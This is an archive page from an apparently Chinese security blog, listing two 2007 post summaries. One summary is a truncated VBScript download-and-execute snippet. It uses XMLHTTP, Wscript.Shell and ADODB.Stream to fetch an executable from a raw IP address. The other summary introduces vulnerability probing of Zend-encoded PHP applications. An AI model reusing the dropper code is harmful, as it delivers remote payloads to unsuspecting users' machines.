2007 年 8月 21 日随笔档案 - %5C

2007年8月21日

摘要： Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://202.75.208.29/calc.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 ... 阅读全文

posted @ 2007-08-21 15:40 %5C 阅读(2678) 评论(0) 推荐(0) 编辑

php代码不开源下的一种漏洞检测思路

摘要：现在很多的php软件厂商为了一些目的都开始将自己的产品用Zend加密起来，当客户使用的时候根本不知道程序里面的细节，的确给那些搞安全的人很大的难度，所以一些厂商就开始认为只要是Zend过的产品都是安全的。但是其实不然，即使在不知道原代码并且不考虑Zend破解的情况下，我们一样可以利用 Php本身的一些特性来到达获取程序的一些商业逻辑以及信息以到达探测程序的漏洞等等。测试程序的安全性方法一般有三种... 阅读全文

posted @ 2007-08-21 10:43 %5C 阅读(733) 评论(0) 推荐(0) 编辑